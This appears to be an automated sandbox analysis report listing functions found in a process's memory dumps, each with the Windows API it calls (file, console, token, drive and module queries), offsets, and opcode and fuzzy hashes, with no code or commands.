Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: c655a9f7a38f1275d710898f17c49cb7860d3efeef2e6fde775d0cda655db437
Instruction ID: 75f0e7a0fbfa6367177ac9108e4d9abb5201a86b47e7acd6ceba6b7047f13e79
Opcode Fuzzy Hash: c655a9f7a38f1275d710898f17c49cb7860d3efeef2e6fde775d0cda655db437
Instruction Fuzzy Hash: 8F01AD35504700DFEB22CF49D885B26FFA0EF18720F18C09AED890B656C3B5E418DB62

Uniqueness

Uniqueness Score: -1.00%

Function 027E096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 027E099C

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 01746085390b54f8f9debdadc5f97ab3a2fbd13c64836d60e30421a2a5876622
Instruction ID: e5997b58aaa6cadeb758dd26a330ad7439896f05b690970b17ea969a52d5d1f3
Opcode Fuzzy Hash: 01746085390b54f8f9debdadc5f97ab3a2fbd13c64836d60e30421a2a5876622
Instruction Fuzzy Hash: 7EF0AF35504740DFEF209F06D889766FBA0EF28621F08C09ADD4A6B316D3B5A404CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 027E0118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027E01D0

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 1dcc4e7444139805914d0bb28b65584cf47579aa928e0cf0650c1d7f3c9192f6
Instruction ID: 00585899977a0e9c12eeb9a1f0d0ac944278095db93d0769ee5b724455b6151f
Opcode Fuzzy Hash: 1dcc4e7444139805914d0bb28b65584cf47579aa928e0cf0650c1d7f3c9192f6
Instruction Fuzzy Hash: 2531396550E3C08FDB138B759C65692BFB4AF07210B0E84DBD885CF1A3D6659809D762

Uniqueness

Uniqueness Score: -1.00%

Function 027E067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 027E072D

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f96ed578e3e484585ba1dd680b1f2355351716ea00333adc68b8b6709344e8cd
Instruction ID: 7551034facf0c4fb8fcc4ef6b22dd76a1599e97204e135d5a585dd9c724de17f
Opcode Fuzzy Hash: f96ed578e3e484585ba1dd680b1f2355351716ea00333adc68b8b6709344e8cd
Instruction Fuzzy Hash: A3316271509380AFEB22CF65CC45F56BFF8EF09214F09849EE9859B292D375A908CB71

Uniqueness

Uniqueness Score: -1.00%

Function 027E0D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 027E0DD6

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 174f458c82241bcbbef544a7a3f6c3bf23609cddbf4c0822afd9551a61ebe3a3
Instruction ID: 5d207b787f23fc543fd7bce8ca9bcba789cccc13ad31e674b47e065b0d56fec7
Opcode Fuzzy Hash: 174f458c82241bcbbef544a7a3f6c3bf23609cddbf4c0822afd9551a61ebe3a3
Instruction Fuzzy Hash: C93195B1509380AFE712DB25DC45B96BFE8DF06214F0884AAE984DF293D375A905CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01D0BD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,011E0E31,00000000,00000000,00000000,00000000), ref: 01D0BDBC

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 02874ad79faff6ef9f2fe8bae5f34e3ab3e608d8eb25e21228376382e9cb633c
Instruction ID: 428bf17558944b795c20fb53ccecfd072786a6e5ba80d9953e0d9469eaf68e16
Opcode Fuzzy Hash: 02874ad79faff6ef9f2fe8bae5f34e3ab3e608d8eb25e21228376382e9cb633c
Instruction Fuzzy Hash: E131B172109380AFE722CB61CC45F96BFB8EF06210F0884DBF984DB192D264A908C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 01D0AF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,011E0E31,00000000,00000000,00000000,00000000), ref: 01D0AFBE

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 156bb720e55c864d6b263bd2750a89fab6077300867ee316b65a6d06f4d81b2d
Instruction ID: 7b2c0276d0ebfe677c389f461dbdb4a4626881432a0445263d408afd461722c0
Opcode Fuzzy Hash: 156bb720e55c864d6b263bd2750a89fab6077300867ee316b65a6d06f4d81b2d
Instruction Fuzzy Hash: 6621A2B2509380AFE713CB65DC45B96BFB8EF06320F0884DBE984DB193D265A949C761

Uniqueness

Uniqueness Score: -1.00%

Function 027E0FEE, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 027E109E

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 84ef2550c64decffbb3b1950742352db2fa25022f6f7baafa288256b5090799e
Instruction ID: 7cf65b7fce32a7625b178293210a8694dfb38152163a142e9114887bd6be3f3f
Opcode Fuzzy Hash: 84ef2550c64decffbb3b1950742352db2fa25022f6f7baafa288256b5090799e
Instruction Fuzzy Hash: B931917550E3C0AFD3138B358C55B56BFB4AF43610F1A81DBD884CF2A3D269A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 01D0B01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,011E0E31,00000000,00000000,00000000,00000000), ref: 01D0B0AE

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 08206cab652dda7af39f649ad201af72f1e7a91a779993f91adbc03cbff48eb0
Instruction ID: b0860231820c840c0976339d8c401d651e92fc392677333335c16d8e74d59b12
Opcode Fuzzy Hash: 08206cab652dda7af39f649ad201af72f1e7a91a779993f91adbc03cbff48eb0
Instruction Fuzzy Hash: B721A675509380AFE722CF15CC45FA6BFB8EF06210F08849BF945DB192D664E908CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01D0A1A8, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,00000E9C,?,?), ref: 01D0A23E

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 136ad3b6926a9d26364b68462fd8fc4a38df058404b3cea14735a1b84bd1daee
Instruction ID: 9b852f351253c0021dc9a82dffc872640b90b5685a0b68078fdfd466262a1528
Opcode Fuzzy Hash: 136ad3b6926a9d26364b68462fd8fc4a38df058404b3cea14735a1b84bd1daee
Instruction Fuzzy Hash: 1721B77194D3C06FD312CB358C55B66BFB4EF47620F0981DBE8448F193D229A919CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027E0784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,011E0E31,00000000,00000000,00000000,00000000), ref: 027E0819

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 74c489980ff02631e25e0645f1762b08031bb76e2cdc086979e55a51ec9fc829
Instruction ID: 75872ff18a2176758578ce89861b5a7e6375bf3d6ec9fea6c58843f46a8c72f4
Opcode Fuzzy Hash: 74c489980ff02631e25e0645f1762b08031bb76e2cdc086979e55a51ec9fc829
Instruction Fuzzy Hash: D22107B6508780AFE712CB159C45FA3BFB8EF46720F0881DBF9859B193D264A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 027E0464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 027E0502

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 7af0c04d3cfdc307883397a30a92c531ba3544b1b6fe3fa853995520d7f8d955
Instruction ID: 4f2ec437c0098e652d45282e3584ea6a220b9b5282f1145f6ee11976a3ab580c
Opcode Fuzzy Hash: 7af0c04d3cfdc307883397a30a92c531ba3544b1b6fe3fa853995520d7f8d955
Instruction Fuzzy Hash: 34219D7550E3C0AFD3128B258C55B62BFB4EF47610F1A81CFD8848F693D225A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 027E06AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 027E072D

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 73e0d1142b36fdc5bfbfae0cffc4fe3009de921050454b894d236e14f847dcea
Instruction ID: a521eb24589de90defaab9b7c18e95a89aee7af72e32eeb620c31ab9d08ac25e
Opcode Fuzzy Hash: 73e0d1142b36fdc5bfbfae0cffc4fe3009de921050454b894d236e14f847dcea
Instruction Fuzzy Hash: 9D217C71500704EFEB21DF65CC86B66FBE8EF08650F04846AE9899A291D7B1E904CB71

Uniqueness

Uniqueness Score: -1.00%

Function 027E0854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,011E0E31,00000000,00000000,00000000,00000000), ref: 027E08E5

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 4e71eb64a7fe866b24007c81901ab0ee77a8c3abb48ac93b8b055f2b1c84c238
Instruction ID: 18d86e637cb047ef65569547e5fbe961299395d0b4bf583d60ab31a5f5e668fe
Opcode Fuzzy Hash: 4e71eb64a7fe866b24007c81901ab0ee77a8c3abb48ac93b8b055f2b1c84c238
Instruction Fuzzy Hash: 0521C471409380AFEB22CF61DC45F56BFB8EF16310F0984DBE9449B153C265A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01D0A8B4, Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 01D0A94A

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: ed8b689f9e1354191b5decb88df31c81444e139b35558a354d9cba3576951383
Instruction ID: bd8299b9f3dc05e7ede3e1f62e951fa634a10d19d2b9b70ea186e661b99b0337
Opcode Fuzzy Hash: ed8b689f9e1354191b5decb88df31c81444e139b35558a354d9cba3576951383
Instruction Fuzzy Hash: 4721D77150D780AFD3138B25CC51B62BFB4EF87B10F0981DBE8848B653D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 027E0D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 027E0DD6

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: b04da01266746fce936b22273a3002198d278dcd51eec3981695189eab094c16
Instruction ID: 2509b898b51825c1ea79ac8dcf709d235f7f0317848c9b3297cd7b76bab5d4e0
Opcode Fuzzy Hash: b04da01266746fce936b22273a3002198d278dcd51eec3981695189eab094c16
Instruction Fuzzy Hash: 9D219271600300AFEB20DF65CC85B5AFBD8DF08610F04846AE845DB242D7B5E804CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01D0BD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,011E0E31,00000000,00000000,00000000,00000000), ref: 01D0BDBC

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 451fbf61a7b2a419bfd84246328c790038a55ad981839c8549eba912e18d1dee
Instruction ID: abddc63c6c774917771c65fb8b013fb2e33fca3e54eeebb021e5e5e5632d79ee
Opcode Fuzzy Hash: 451fbf61a7b2a419bfd84246328c790038a55ad981839c8549eba912e18d1dee
Instruction Fuzzy Hash: 9C119D76500704EFEB22CF55DC85FAAFBA8EF04720F04856AF9459A181D674E9448BB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D0B04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,011E0E31,00000000,00000000,00000000,00000000), ref: 01D0B0AE

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 95ce6803b3a075f54f84422350a1c389454dbe1e75992796d39e9b349cbe9675
Instruction ID: e482d4fa61029958af4276727dd01b3ea29524f621c8636effcc9f8f40a4f5bf
Opcode Fuzzy Hash: 95ce6803b3a075f54f84422350a1c389454dbe1e75992796d39e9b349cbe9675
Instruction Fuzzy Hash: 5D11AF75604700EFEB21CF16DC85FAABBA8EF05620F04846AE949CB681D674E9048A71

Uniqueness

Uniqueness Score: -1.00%

Function 027E137E, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027E13F0

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 51a2cf9f8ba2bd82f85a459621b82f1e59d52ad531a49e590d35f4755acab3fe
Instruction ID: a98a0820127ffc33772634acf4e3d73a2c6b82767c2b22eb683ccca42666db3e
Opcode Fuzzy Hash: 51a2cf9f8ba2bd82f85a459621b82f1e59d52ad531a49e590d35f4755acab3fe
Instruction Fuzzy Hash: 862180725047809FDB218F25DC45B96BFB4EF06220F0884AEED858B662D275A848DB61

Uniqueness

Uniqueness Score: -1.00%

Function 027E0F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 027E0FB0

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 40d8479bdf5c4326ac8e36e74f44955f71f4ea28a8434d731c39486a3cc5ba49
Instruction ID: 21ea102f8c8940bb0f9eef511dc98f9e9cb6bd9ef5b5684c5b007f9b28954c87
Opcode Fuzzy Hash: 40d8479bdf5c4326ac8e36e74f44955f71f4ea28a8434d731c39486a3cc5ba49
Instruction Fuzzy Hash: 7E215E7150D7C09FDB128B25DC55B92BFB4AF07224F0D84DAE889DF253D2A59418C772

Uniqueness

Uniqueness Score: -1.00%

Function 01D0BABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 01D0BB2F

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 480fb4b3b19f5c35038591bff1baa3ed63f0bda9033470c6fb03032e07f97316
Instruction ID: 5fe964b681467eefcf4443119841a0fbf6f808d5a74dc3b9a75fb90958d0d8fc
Opcode Fuzzy Hash: 480fb4b3b19f5c35038591bff1baa3ed63f0bda9033470c6fb03032e07f97316
Instruction Fuzzy Hash: 9321D4755093C09FDB128B25DC55B92BFE4EF07210F0984DBDC848F163D2689808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D0AAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01D0AB1A

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 4354a3df751821a08351f35c6325bc53556c06e02656ec9d822655cd42f21f84
Instruction ID: 91b49de407570c36a5ae2389604d58aabc861793e1eb87e3888b25221a2da533
Opcode Fuzzy Hash: 4354a3df751821a08351f35c6325bc53556c06e02656ec9d822655cd42f21f84
Instruction Fuzzy Hash: DE2172716053809FEB22CF29DC45B56BFE8EF56610F0884AAED49CB293D265E404CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027E10D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 027E1148

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 2e1953db3d659706c9f480f2acff6d643fe7fd371cd0f70f51553afad1116486
Instruction ID: 729025dcd97dcc24b0fb9a47246d7f562b00f94e8f4bdde46da00ba266391d0d
Opcode Fuzzy Hash: 2e1953db3d659706c9f480f2acff6d643fe7fd371cd0f70f51553afad1116486
Instruction Fuzzy Hash: 01216D6150D3C49FDB138B259C55A62BFB4EF57620F0980DBD8858F2A3D2695808D772

Uniqueness

Uniqueness Score: -1.00%

Function 01D0AF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,011E0E31,00000000,00000000,00000000,00000000), ref: 01D0AFBE

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 32e36f425cf77c9617a4cfee2561534a484431566d2075ae536dfacf399296db
Instruction ID: a19a73992aed89cbdbcef629585b2ae5ef6c1791d9627969d6a276fe7481f359
Opcode Fuzzy Hash: 32e36f425cf77c9617a4cfee2561534a484431566d2075ae536dfacf399296db
Instruction Fuzzy Hash: 2411C472500700EFEB22DF55DC85BAAFBA8EF44720F14846AFD458B181D674A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D0BA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 01D0BA7E

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e14c33d933747cad5f8c56ba8b328362dca22948ac906360e897e1100e3078a3
Instruction ID: efdc30c2ed9e6dc2b7713b2206fc5c3e3313cd0bd3b1f681ff3b8e7f9637c521
Opcode Fuzzy Hash: e14c33d933747cad5f8c56ba8b328362dca22948ac906360e897e1100e3078a3
Instruction Fuzzy Hash: 08119075508380AFDB22CF65CC45B53FFF4EF09210F08849EE9858B662D375A458CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027E0886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,011E0E31,00000000,00000000,00000000,00000000), ref: 027E08E5

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 4910b9c1bfc7e6d0abfd84ea46f3ebf7e552b215d65bbb04803528e7153a2a7b
Instruction ID: 6e262b0bcab81e475bb2f296c8c5c0167a963c63ba5f93e1811e382a21459f66
Opcode Fuzzy Hash: 4910b9c1bfc7e6d0abfd84ea46f3ebf7e552b215d65bbb04803528e7153a2a7b
Instruction Fuzzy Hash: 8C119471500704EFFB21DF51DC45F96FBE8EF18710F14855AED45AA141C6B5A504CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D0A33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 01D0A39C

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: e138f31026e11abc940f017e75b0c1cd4175bd06728391ad753ffacc4c0947a9
Instruction ID: 03e84dac7779881271ced51902c8013d9993b6f2b4f435edfa7f6dbcc3dbb685
Opcode Fuzzy Hash: e138f31026e11abc940f017e75b0c1cd4175bd06728391ad753ffacc4c0947a9
Instruction Fuzzy Hash: 57114F715093C49FEB128B15DC55B62BFB4DF47614F0880DBEDC54F253D2A5A808DB62

Uniqueness

Uniqueness Score: -1.00%

Function 027E12D8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 027E132F

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 5d1bfe6a3536c2c057c6ae0c962b8c98f9b4484488b52cf932506aacb0564c61
Instruction ID: fbacae2a3bbf91e70c43b55e989047e7c1dabb3f8924e0fe98ddb59848ca8631
Opcode Fuzzy Hash: 5d1bfe6a3536c2c057c6ae0c962b8c98f9b4484488b52cf932506aacb0564c61
Instruction Fuzzy Hash: 2F11C1715083809FDB11CF25DC89B96FFE4EF06220F0984EEED498B252D375A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027E05E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 027E0640

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: d17b410b73cb630cfb24a8f527566d345207ea15f115d2a92da4f3b1698798e8
Instruction ID: dbe8c72d650346ff92c91fc16753d43d540da8cd476d98e0798f611311457c78
Opcode Fuzzy Hash: d17b410b73cb630cfb24a8f527566d345207ea15f115d2a92da4f3b1698798e8
Instruction Fuzzy Hash: 3C1106755093C09FDB128B15DC85B52FFB4DF06220F0880DFEC858B263D2A4A808CB72

Uniqueness

Uniqueness Score: -1.00%

Function 01D0AAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01D0AB1A

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: bfb92977b48c2219ef3521e9e3a2f0924012f2e4e37f77479639a715a8d21c3d
Instruction ID: ca08c94f6df5fd19d8e23201e970975343ea9f44f8fcc7b728add9fa6dc849cd
Opcode Fuzzy Hash: bfb92977b48c2219ef3521e9e3a2f0924012f2e4e37f77479639a715a8d21c3d
Instruction Fuzzy Hash: CB1161B26007009FEB21DF69DC85B56FBD8EF14621F08C4AAED49CB682D674E444CA71

Uniqueness

Uniqueness Score: -1.00%

Function 01D0AA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01D0AA71

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 6d7246d24e0ba357b0cb181650ac875a01b1edc349a718022acf2e2172c1d479
Instruction ID: 3ff30fed9ea0d8916237d60d6ca9a40cce4acb380fd79d30dc6d49a322b00287
Opcode Fuzzy Hash: 6d7246d24e0ba357b0cb181650ac875a01b1edc349a718022acf2e2172c1d479
Instruction Fuzzy Hash: 4411C1755097C09FD7128B15DC85B92BFA0EF07220F0980DBDD848F1A3D2A8A909C762

Uniqueness

Uniqueness Score: -1.00%

Function 027E092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 027E099C

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 6d1a480faa69e1562f0169fb5ace20177ea03ce14aca2d08f394ec95677609c0
Instruction ID: f45559fdf440499631efdd701dfc8921dabd467aff3f3b556139b72a90ace4c7
Opcode Fuzzy Hash: 6d1a480faa69e1562f0169fb5ace20177ea03ce14aca2d08f394ec95677609c0
Instruction Fuzzy Hash: 8F11BF715097C09FEB12CB25DC95B92FFB4EF17324F0980DADD855B263C265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 027E07C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,011E0E31,00000000,00000000,00000000,00000000), ref: 027E0819

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 436d97921ad99cf1c5ba314cb7879eacba652eb9672687f1617a2b0a38db45eb
Instruction ID: 285405cde7661682d7b194ed3c1eeb4f29445caa0fdfe2d63efd693676b4ba9c
Opcode Fuzzy Hash: 436d97921ad99cf1c5ba314cb7879eacba652eb9672687f1617a2b0a38db45eb
Instruction Fuzzy Hash: 4C018071500704EFFB209F55DC86BA6FB98DF48720F1480AAED09AA241D6B4A904CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 027E13AA, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027E13F0

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 907fc8a01c1527181f39a5c1befece48811a3af8c5ada4dbf65aae7d48aae6c5
Instruction ID: b0603a92efddbd8542e175a8c98f5855f09dc3e172813fcec293ae8219946ef5
Opcode Fuzzy Hash: 907fc8a01c1527181f39a5c1befece48811a3af8c5ada4dbf65aae7d48aae6c5
Instruction Fuzzy Hash: 19117C75600700DBEF20CF56D886B66FBA4EF09620F4884AAED4A8A651D371E804CA71

Uniqueness

Uniqueness Score: -1.00%

Function 01D0AB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 01D0ABC9

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 9368c6d54940e11f8d1388c4a52e23b2f54373da4242e61786c31056162ee90a
Instruction ID: 81b92f27c3b0ba756cfd7b08b81d2e642118a4e7594c3310bd83496891ad64ca
Opcode Fuzzy Hash: 9368c6d54940e11f8d1388c4a52e23b2f54373da4242e61786c31056162ee90a
Instruction Fuzzy Hash: DF11C2B55097809FDB11CF55DC85B82BFA4EF06320F0980EBDD488F153D274A508CB61

Uniqueness

Uniqueness Score: -1.00%

